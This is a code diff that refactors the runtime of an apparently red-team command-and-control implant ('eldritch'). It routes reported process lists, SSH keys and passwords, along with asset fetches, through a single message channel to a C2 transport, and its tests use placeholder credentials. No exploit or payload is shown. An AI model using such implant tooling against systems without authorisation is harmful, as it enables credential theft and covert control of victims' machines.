diff --git a/implants/lib/eldritch/src/report/process_list_impl.rs b/implants/lib/eldritch/src/report/process_list_impl.rs
index e6bf7d3a6..956e7cf5a 100644
--- a/implants/lib/eldritch/src/report/process_list_impl.rs
+++ b/implants/lib/eldritch/src/report/process_list_impl.rs
@@ -1,18 +1,10 @@
+use crate::runtime::{messages::ReportProcessListMessage, Environment};
use anyhow::Result;
+use pb::eldritch::{process::Status, Process, ProcessList};
+use starlark::collections::SmallMap;
use starlark::values::Value;
-use starlark::{collections::SmallMap, eval::Evaluator};
-
-use crate::{
- pb::{process::Status, Process, ProcessList},
- runtime::Environment,
-};
-
-pub fn process_list(
- starlark_eval: &Evaluator<'_, '_>,
- process_list: Vec>,
-) -> Result<()> {
- let env = Environment::from_extra(starlark_eval.extra)?;
+pub fn process_list(env: &Environment, process_list: Vec>) -> Result<()> {
let mut pb_process_list = ProcessList { list: Vec::new() };
for proc in process_list {
pb_process_list.list.push(Process {
@@ -28,7 +20,10 @@ pub fn process_list(
})
}
- env.report_process_list(pb_process_list)?;
+ env.send(ReportProcessListMessage {
+ id: env.id(),
+ list: pb_process_list,
+ })?;
Ok(())
}
@@ -57,46 +52,45 @@ fn unpack_status(proc: &SmallMap) -> Status {
#[cfg(test)]
mod test {
+ use crate::runtime::Message;
+ use pb::eldritch::process::Status;
+ use pb::eldritch::*;
use std::collections::HashMap;
- use crate::pb::process::Status;
- use crate::pb::{Process, ProcessList, Tome};
- use anyhow::Error;
-
macro_rules! process_list_tests {
($($name:ident: $value:expr,)*) => {
$(
#[tokio::test]
async fn $name() {
let tc: TestCase = $value;
- let mut runtime = crate::start(tc.tome).await;
+
+ // Run Eldritch (until finished)
+ let mut runtime = crate::start(tc.id, tc.tome).await;
runtime.finish().await;
- let want_err_str = match tc.want_error {
- Some(err) => err.to_string(),
- None => "".to_string(),
- };
- let err_str = match runtime.collect_errors().pop() {
- Some(err) => err.to_string(),
- None => "".to_string(),
- };
- assert_eq!(want_err_str, err_str);
- assert_eq!(tc.want_output, runtime.collect_text().join(""));
- assert_eq!(Some(tc.want_proc_list), runtime.collect_process_lists().pop());
+ // Read Messages
+ let mut found = false;
+ for msg in runtime.messages() {
+ if let Message::ReportProcessList(m) = msg {
+ assert_eq!(tc.want_proc_list, m.list);
+ found = true;
+ }
+ }
+ assert!(found);
}
)*
}
}
struct TestCase {
+ pub id: i64,
pub tome: Tome,
- pub want_output: String,
- pub want_error: Option,
pub want_proc_list: ProcessList,
}
process_list_tests! {
one_process: TestCase{
+ id: 123,
tome: Tome{
eldritch: String::from(r#"report.process_list([{"pid":5,"ppid":101,"name":"test","username":"root","path":"/bin/cat","env":"COOL=1","command":"cat","cwd":"/home/meow","status":"IDLE"}])"#),
parameters: HashMap::new(),
@@ -115,8 +109,6 @@ mod test {
status: Status::Idle.into(),
},
]},
- want_output: String::from(""),
- want_error: None,
},
}
}
diff --git a/implants/lib/eldritch/src/report/ssh_key_impl.rs b/implants/lib/eldritch/src/report/ssh_key_impl.rs
index 298eff783..260b13a76 100644
--- a/implants/lib/eldritch/src/report/ssh_key_impl.rs
+++ b/implants/lib/eldritch/src/report/ssh_key_impl.rs
@@ -1,58 +1,59 @@
-use crate::{pb::credential::Kind, pb::Credential, runtime::Environment};
+use crate::runtime::{messages::ReportCredentialMessage, Environment};
use anyhow::Result;
-use starlark::eval::Evaluator;
+use pb::eldritch::{credential::Kind, Credential};
-pub fn ssh_key(starlark_eval: &Evaluator<'_, '_>, username: String, key: String) -> Result<()> {
- let env = Environment::from_extra(starlark_eval.extra)?;
- env.report_credential(Credential {
- principal: username,
- secret: key,
- kind: Kind::SshKey.into(),
+pub fn ssh_key(env: &Environment, username: String, key: String) -> Result<()> {
+ env.send(ReportCredentialMessage {
+ id: env.id(),
+ credential: Credential {
+ principal: username,
+ secret: key,
+ kind: Kind::SshKey.into(),
+ },
})?;
Ok(())
}
#[cfg(test)]
mod test {
+ use crate::runtime::Message;
+ use pb::eldritch::{credential::Kind, Credential, Tome};
use std::collections::HashMap;
- use crate::pb::{credential::Kind, Credential, Tome};
- use anyhow::Error;
-
macro_rules! test_cases {
($($name:ident: $value:expr,)*) => {
$(
#[tokio::test]
async fn $name() {
let tc: TestCase = $value;
- let mut runtime = crate::start(tc.tome).await;
+
+ // Run Eldritch (until finished)
+ let mut runtime = crate::start(tc.id, tc.tome).await;
runtime.finish().await;
- let want_err_str = match tc.want_error {
- Some(err) => err.to_string(),
- None => "".to_string(),
- };
- let err_str = match runtime.collect_errors().pop() {
- Some(err) => err.to_string(),
- None => "".to_string(),
- };
- assert_eq!(want_err_str, err_str);
- assert_eq!(tc.want_output, runtime.collect_text().join(""));
- assert_eq!(Some(tc.want_credential), runtime.collect_credentials().pop());
+ // Read Messages
+ let mut found = false;
+ for msg in runtime.messages() {
+ if let Message::ReportCredential(m) = msg {
+ assert_eq!(tc.want_credential, m.credential);
+ found = true;
+ }
+ }
+ assert!(found);
}
)*
}
}
struct TestCase {
+ pub id: i64,
pub tome: Tome,
- pub want_output: String,
- pub want_error: Option,
pub want_credential: Credential,
}
test_cases! {
one_credential: TestCase{
+ id: 123,
tome: Tome{
eldritch: String::from(r#"report.ssh_key(username="root", key="---BEGIN---youknowtherest")"#),
parameters: HashMap::new(),
@@ -63,8 +64,6 @@ mod test {
secret: String::from("---BEGIN---youknowtherest"),
kind: Kind::SshKey.into(),
},
- want_output: String::from(""),
- want_error: None,
},
}
}
diff --git a/implants/lib/eldritch/src/report/user_password_impl.rs b/implants/lib/eldritch/src/report/user_password_impl.rs
index f9859b94f..8a2c912a2 100644
--- a/implants/lib/eldritch/src/report/user_password_impl.rs
+++ b/implants/lib/eldritch/src/report/user_password_impl.rs
@@ -1,62 +1,59 @@
-use crate::{pb::credential::Kind, pb::Credential, runtime::Environment};
+use crate::runtime::{messages::ReportCredentialMessage, Environment};
use anyhow::Result;
-use starlark::eval::Evaluator;
+use pb::eldritch::{credential::Kind, Credential};
-pub fn user_password(
- starlark_eval: &Evaluator<'_, '_>,
- username: String,
- password: String,
-) -> Result<()> {
- let env = Environment::from_extra(starlark_eval.extra)?;
- env.report_credential(Credential {
- principal: username,
- secret: password,
- kind: Kind::Password.into(),
+pub fn user_password(env: &Environment, username: String, password: String) -> Result<()> {
+ env.send(ReportCredentialMessage {
+ id: env.id(),
+ credential: Credential {
+ principal: username,
+ secret: password,
+ kind: Kind::Password.into(),
+ },
})?;
Ok(())
}
#[cfg(test)]
mod test {
+ use crate::runtime::Message;
+ use pb::eldritch::{credential::Kind, Credential, Tome};
use std::collections::HashMap;
- use crate::pb::{credential::Kind, Credential, Tome};
- use anyhow::Error;
-
macro_rules! test_cases {
($($name:ident: $value:expr,)*) => {
$(
#[tokio::test]
async fn $name() {
let tc: TestCase = $value;
- let mut runtime = crate::start(tc.tome).await;
+
+ // Run Eldritch (until finished)
+ let mut runtime = crate::start(tc.id, tc.tome).await;
runtime.finish().await;
- let want_err_str = match tc.want_error {
- Some(err) => err.to_string(),
- None => "".to_string(),
- };
- let err_str = match runtime.collect_errors().pop() {
- Some(err) => err.to_string(),
- None => "".to_string(),
- };
- assert_eq!(want_err_str, err_str);
- assert_eq!(tc.want_output, runtime.collect_text().join(""));
- assert_eq!(Some(tc.want_credential), runtime.collect_credentials().pop());
+ // Read Messages
+ let mut found = false;
+ for msg in runtime.messages() {
+ if let Message::ReportCredential(m) = msg {
+ assert_eq!(tc.want_credential, m.credential);
+ found = true;
+ }
+ }
+ assert!(found);
}
)*
}
}
struct TestCase {
+ pub id: i64,
pub tome: Tome,
- pub want_output: String,
- pub want_error: Option,
pub want_credential: Credential,
}
test_cases! {
one_credential: TestCase{
+ id: 123,
tome: Tome{
eldritch: String::from(r#"report.user_password(username="root", password="changeme")"#),
parameters: HashMap::new(),
@@ -67,8 +64,6 @@ mod test {
secret: String::from("changeme"),
kind: Kind::Password.into(),
},
- want_output: String::from(""),
- want_error: None,
},
}
}
diff --git a/implants/lib/eldritch/src/runtime/drain.rs b/implants/lib/eldritch/src/runtime/drain.rs
index 5a38c45da..969a786a7 100644
--- a/implants/lib/eldritch/src/runtime/drain.rs
+++ b/implants/lib/eldritch/src/runtime/drain.rs
@@ -1,13 +1,6 @@
use std::sync::mpsc::Receiver;
use std::time::Duration;
-/*
- * Drain a receiver, returning only the last currently available result.
- */
-pub fn drain_last(receiver: &Receiver) -> Option {
- drain(receiver).pop()
-}
-
/*
* Drain a receiver, returning all currently available results as a Vec.
*/
diff --git a/implants/lib/eldritch/src/runtime/environment.rs b/implants/lib/eldritch/src/runtime/environment.rs
index 6f4a8847d..94afabfa0 100644
--- a/implants/lib/eldritch/src/runtime/environment.rs
+++ b/implants/lib/eldritch/src/runtime/environment.rs
@@ -1,35 +1,16 @@
-use crate::pb::{Credential, File, ProcessList};
-use anyhow::{Context, Error, Result};
+use super::messages::{Message, ReportTextMessage};
+use anyhow::{Context, Result};
+
use starlark::{
values::{AnyLifetime, ProvidesStaticType},
PrintHandler,
};
-use std::sync::mpsc::{channel, Receiver, Sender};
-
-pub struct FileRequest {
- name: String,
- tx_data: Sender>,
-}
-
-impl FileRequest {
- pub fn name(&self) -> String {
- self.name.clone()
- }
-
- pub fn send_chunk(&self, chunk: Vec) -> Result<()> {
- self.tx_data.send(chunk)?;
- Ok(())
- }
-}
+use std::sync::mpsc::Sender;
#[derive(ProvidesStaticType)]
pub struct Environment {
- pub(super) tx_output: Sender,
- pub(super) tx_error: Sender,
- pub(super) tx_credential: Sender,
- pub(super) tx_process_list: Sender,
- pub(super) tx_file: Sender,
- pub(super) tx_file_request: Sender,
+ pub(super) id: i64,
+ pub(super) tx: Sender,
}
impl Environment {
@@ -43,55 +24,14 @@ impl Environment {
.context("no runtime client present in evaluator")
}
- /*
- * Report output of the tome execution.
- */
- pub fn report_output(&self, output: String) -> Result<()> {
- self.tx_output.send(output)?;
- Ok(())
+ pub fn id(&self) -> i64 {
+ self.id
}
- /*
- * Report error during tome execution.
- */
- pub fn report_error(&self, err: anyhow::Error) -> Result<()> {
- self.tx_error.send(err)?;
+ pub fn send(&self, msg: impl Into) -> Result<()> {
+ self.tx.send(msg.into())?;
Ok(())
}
-
- /*
- * Report a credential that was collected by the tome.
- */
- pub fn report_credential(&self, credential: Credential) -> Result<()> {
- self.tx_credential.send(credential)?;
- Ok(())
- }
-
- /*
- * Report a process list that was collected by the tome.
- */
- pub fn report_process_list(&self, processes: ProcessList) -> Result<()> {
- self.tx_process_list.send(processes)?;
- Ok(())
- }
-
- /*
- * Report a file that was collected by the tome.
- */
- pub fn report_file(&self, f: File) -> Result<()> {
- self.tx_file.send(f)?;
- Ok(())
- }
-
- /*
- * Request a file from the caller of this runtime.
- * This will return a channel of file chunks.
- */
- pub fn request_file(&self, name: String) -> Result>> {
- let (tx_data, data) = channel::>();
- self.tx_file_request.send(FileRequest { name, tx_data })?;
- Ok(data)
- }
}
/*
@@ -99,7 +39,10 @@ impl Environment {
*/
impl PrintHandler for Environment {
fn println(&self, text: &str) -> Result<()> {
- self.report_output(text.to_string())?;
+ self.send(ReportTextMessage {
+ id: self.id,
+ text: String::from(text),
+ })?;
#[cfg(feature = "print_stdout")]
print!("{}", text);
diff --git a/implants/lib/eldritch/src/runtime/exec.rs b/implants/lib/eldritch/src/runtime/eval.rs
similarity index 62%
rename from implants/lib/eldritch/src/runtime/exec.rs
rename to implants/lib/eldritch/src/runtime/eval.rs
index 05afb3b09..d53087522 100644
--- a/implants/lib/eldritch/src/runtime/exec.rs
+++ b/implants/lib/eldritch/src/runtime/eval.rs
@@ -1,17 +1,21 @@
-use super::{drain::drain, drain::drain_last, Environment, FileRequest};
+use super::drain::drain;
use crate::{
assets::AssetsLibrary,
crypto::CryptoLibrary,
file::FileLibrary,
- pb::{Credential, File, ProcessList, Tome},
pivot::PivotLibrary,
process::ProcessLibrary,
report::ReportLibrary,
+ runtime::{
+ messages::{reduce, Message, ReportErrorMessage, ReportFinishMessage, ReportStartMessage},
+ Environment,
+ },
sys::SysLibrary,
time::TimeLibrary,
};
-use anyhow::{Context, Error, Result};
+use anyhow::{Context, Result};
use chrono::Utc;
+use pb::eldritch::Tome;
use prost_types::Timestamp;
use starlark::{
collections::SmallMap,
@@ -25,59 +29,61 @@ use starlark::{
use std::sync::mpsc::{channel, Receiver};
use tokio::task::JoinHandle;
-pub async fn start(tome: Tome) -> Runtime {
- let (tx_exec_started_at, rx_exec_started_at) = channel::();
- let (tx_exec_finished_at, rx_exec_finished_at) = channel::();
- let (tx_error, rx_error) = channel::();
- let (tx_output, rx_output) = channel::();
- let (tx_credential, rx_credential) = channel::();
- let (tx_process_list, rx_process_list) = channel::();
- let (tx_file, rx_file) = channel::();
- let (tx_file_request, rx_file_request) = channel::();
+pub async fn start(id: i64, tome: Tome) -> Runtime {
+ let (tx, rx) = channel::();
- let env = Environment {
- tx_output,
- tx_error: tx_error.clone(),
- tx_credential,
- tx_process_list,
- tx_file,
- tx_file_request,
- };
+ let env = Environment { id, tx };
let handle = tokio::task::spawn_blocking(move || {
// Send exec_started_at
let start = Utc::now();
- match tx_exec_started_at.send(Timestamp {
- seconds: start.timestamp(),
- nanos: start.timestamp_subsec_nanos() as i32,
+ match env.send(ReportStartMessage {
+ id,
+ exec_started_at: Timestamp {
+ seconds: start.timestamp(),
+ nanos: start.timestamp_subsec_nanos() as i32,
+ },
}) {
Ok(_) => {}
Err(_err) => {
#[cfg(debug_assertions)]
- log::error!("failed to send exec_started_at (tome={:?}): {}", tome, _err);
+ log::error!(
+ "failed to send exec_started_at (task_id={}): {}",
+ env.id(),
+ _err
+ );
}
}
#[cfg(debug_assertions)]
- log::info!("evaluating tome: {:?}", tome);
+ log::info!("evaluating tome (task_id={})", id);
// Run Tome
- match run_impl(env, &tome) {
+ match run_impl(&env, &tome) {
Ok(_) => {
#[cfg(debug_assertions)]
- log::info!("tome evaluation successful (tome={:?})", tome);
+ log::info!("tome evaluation successful (task_id={})", id);
}
Err(err) => {
#[cfg(debug_assertions)]
- log::info!("tome evaluation failed (tome={:?}): {}", tome, err);
+ log::error!(
+ "tome evaluation failed (task_id={},tome={:#?}): {:?}",
+ id,
+ tome,
+ err
+ );
// Report evaluation errors
- match tx_error.send(err) {
+ match env.send(ReportErrorMessage {
+ id,
+ error: format!("{:?}", err),
+ }) {
Ok(_) => {}
Err(_send_err) => {
#[cfg(debug_assertions)]
log::error!(
- "failed to report tome evaluation error (tome={:?}): {}",
+ "failed to report tome evaluation error (task_id={},tome={:#?}): {}",
+ id,
tome,
_send_err
);
@@ -87,43 +93,35 @@ pub async fn start(tome: Tome) -> Runtime {
};
// Send exec_finished_at
- let end = Utc::now();
- match tx_exec_finished_at.send(Timestamp {
- seconds: end.timestamp(),
- nanos: end.timestamp_subsec_nanos() as i32,
+ let finish = Utc::now();
+ match env.send(ReportFinishMessage {
+ id,
+ exec_finished_at: Timestamp {
+ seconds: finish.timestamp(),
+ nanos: finish.timestamp_subsec_nanos() as i32,
+ },
}) {
Ok(_) => {}
Err(_err) => {
#[cfg(debug_assertions)]
- log::error!(
- "failed to send exec_finished_at (tome={:?}): {}",
- tome,
- _err
- );
+ log::error!("failed to send exec_finished_at (task_id={}): {}", id, _err);
}
}
});
Runtime {
handle: Some(handle),
- rx_exec_started_at,
- rx_exec_finished_at,
- rx_error,
- rx_output,
- rx_credential,
- rx_process_list,
- rx_file,
- rx_file_request,
+ rx,
}
}
-fn run_impl(env: Environment, tome: &Tome) -> Result<()> {
+fn run_impl(env: &Environment, tome: &Tome) -> Result<()> {
let ast = Runtime::parse(tome).context("failed to parse tome")?;
let module = Runtime::alloc_module(tome).context("failed to allocate module")?;
let globals = Runtime::globals();
let mut eval: Evaluator = Evaluator::new(&module);
- eval.extra = Some(&env);
- eval.set_print_handler(&env);
+ eval.extra = Some(env);
+ eval.set_print_handler(env);
match eval.eval_module(ast, &globals) {
Ok(_) => Ok(()),
@@ -140,17 +138,7 @@ fn run_impl(env: Environment, tome: &Tome) -> Result<()> {
*/
pub struct Runtime {
handle: Option>,
- rx_exec_started_at: Receiver,
- // stdout_reporting: bool,
- // exec_started_at: Receiver,
- rx_exec_finished_at: Receiver,
- rx_output: Receiver,
- rx_error: Receiver,
- rx_credential: Receiver,
- rx_process_list: Receiver,
- rx_file: Receiver,
- rx_file_request: Receiver,
- // client: Client,
+ rx: Receiver,
}
impl Runtime {
@@ -231,6 +219,35 @@ impl Runtime {
Ok(module)
}
+ /*
+ * Collects the currently available messages from the tome.
+ *
+ * This will also attempt to reduce the messages by combining similar messages into an aggregate message.
+ * This will reduce the number of requests when dispatching messages to a transport.
+ */
+ pub fn collect(&self) -> Vec {
+ reduce(drain(&self.rx))
+ }
+
+ /*
+ * Borrow the underlying message receiver.
+ *
+ * This DOES NOT reduce or aggregate the received messages in any way.
+ *
+ * This is most useful to block for all runtime messages, whereas collect would only
+ * return the currently available messages.
+ *
+ * Example:
+ * ```rust
+ * for msg in runtime.messages() {
+ * // Do Stuff
+ * }
+ * ```
+ */
+ pub fn messages(&self) -> &Receiver {
+ &self.rx
+ }
+
/*
* Returns true if the tome has completed execution, false otherwise.
*/
@@ -259,60 +276,4 @@ impl Runtime {
}
};
}
-
- /*
- * Returns the timestamp of when execution started, if available.
- */
- pub fn get_exec_started_at(&self) -> Option {
- drain_last(&self.rx_exec_started_at)
- }
-
- /*
- * Returns the timestamp of when execution finished, if available.
- */
- pub fn get_exec_finished_at(&self) -> Option {
- drain_last(&self.rx_exec_finished_at)
- }
-
- /*
- * Collects all currently available reported text output.
- */
- pub fn collect_text(&self) -> Vec {
- drain(&self.rx_output)
- }
-
- /*
- * Collects all currently available reported errors, if any.
- */
- pub fn collect_errors(&self) -> Vec {
- drain(&self.rx_error)
- }
-
- /*
- * Returns all currently available reported credentials, if any.
- */
- pub fn collect_credentials(&self) -> Vec {
- drain(&self.rx_credential)
- }
-
- /*
- * Returns all currently available reported process lists, if any.
- */
- pub fn collect_process_lists(&self) -> Vec {
- drain(&self.rx_process_list)
- }
-
- /*
- * Returns all currently available reported files, if any.
- */
- pub fn collect_files(&self) -> Vec {
- drain(&self.rx_file)
- }
-
- /*
- * Returns all FileRequests that the eldritch runtime has requested, if any.
- */
- pub fn collect_file_requests(&self) -> Vec {
- drain(&self.rx_file_request)
- }
}
diff --git a/implants/lib/eldritch/src/runtime/messages/fetch_asset.rs b/implants/lib/eldritch/src/runtime/messages/fetch_asset.rs
new file mode 100644
index 000000000..7c4462158
--- /dev/null
+++ b/implants/lib/eldritch/src/runtime/messages/fetch_asset.rs
@@ -0,0 +1,32 @@
+use super::Dispatcher;
+use anyhow::Result;
+use pb::c2::{FetchAssetRequest, FetchAssetResponse};
+use std::sync::mpsc::Sender;
+use transport::Transport;
+
+/*
+ * FetchAssetMessage indicates that the owner of the corresponding `eldritch::Runtime` should send
+ * an asset with the requested name to the provided sender (it may be sent in chunks).
+ */
+#[cfg_attr(debug_assertions, derive(Debug))]
+#[derive(Clone)]
+pub struct FetchAssetMessage {
+ pub(crate) name: String,
+ pub(crate) tx: Sender,
+}
+
+impl Dispatcher for FetchAssetMessage {
+ async fn dispatch(self, transport: &mut impl Transport) -> Result<()> {
+ transport
+ .fetch_asset(FetchAssetRequest { name: self.name }, self.tx)
+ .await?;
+ Ok(())
+ }
+}
+
+#[cfg(debug_assertions)]
+impl PartialEq for FetchAssetMessage {
+ fn eq(&self, other: &Self) -> bool {
+ self.name == other.name
+ }
+}
diff --git a/implants/lib/eldritch/src/runtime/messages/mod.rs b/implants/lib/eldritch/src/runtime/messages/mod.rs
new file mode 100644
index 000000000..cf14d4f4c
--- /dev/null
+++ b/implants/lib/eldritch/src/runtime/messages/mod.rs
@@ -0,0 +1,92 @@
+mod fetch_asset;
+mod reduce;
+mod report_agg_output;
+mod report_credential;
+mod report_error;
+mod report_file;
+mod report_finish;
+mod report_process_list;
+mod report_start;
+mod report_text;
+
+pub use fetch_asset::FetchAssetMessage;
+pub(super) use reduce::reduce;
+pub use report_credential::ReportCredentialMessage;
+pub use report_error::ReportErrorMessage;
+pub use report_file::ReportFileMessage;
+pub use report_finish::ReportFinishMessage;
+pub use report_process_list::ReportProcessListMessage;
+pub use report_start::ReportStartMessage;
+pub use report_text::ReportTextMessage;
+pub use transport::Transport;
+
+use anyhow::Result;
+use derive_more::From;
+use report_agg_output::ReportAggOutputMessage;
+use std::future::Future;
+
+#[cfg(debug_assertions)]
+use derive_more::Display;
+
+// Dispatcher defines the shared "dispatch" method used by all `Message` variants to send their data using a transport.
+pub trait Dispatcher {
+ fn dispatch(self, transport: &mut impl Transport) -> impl Future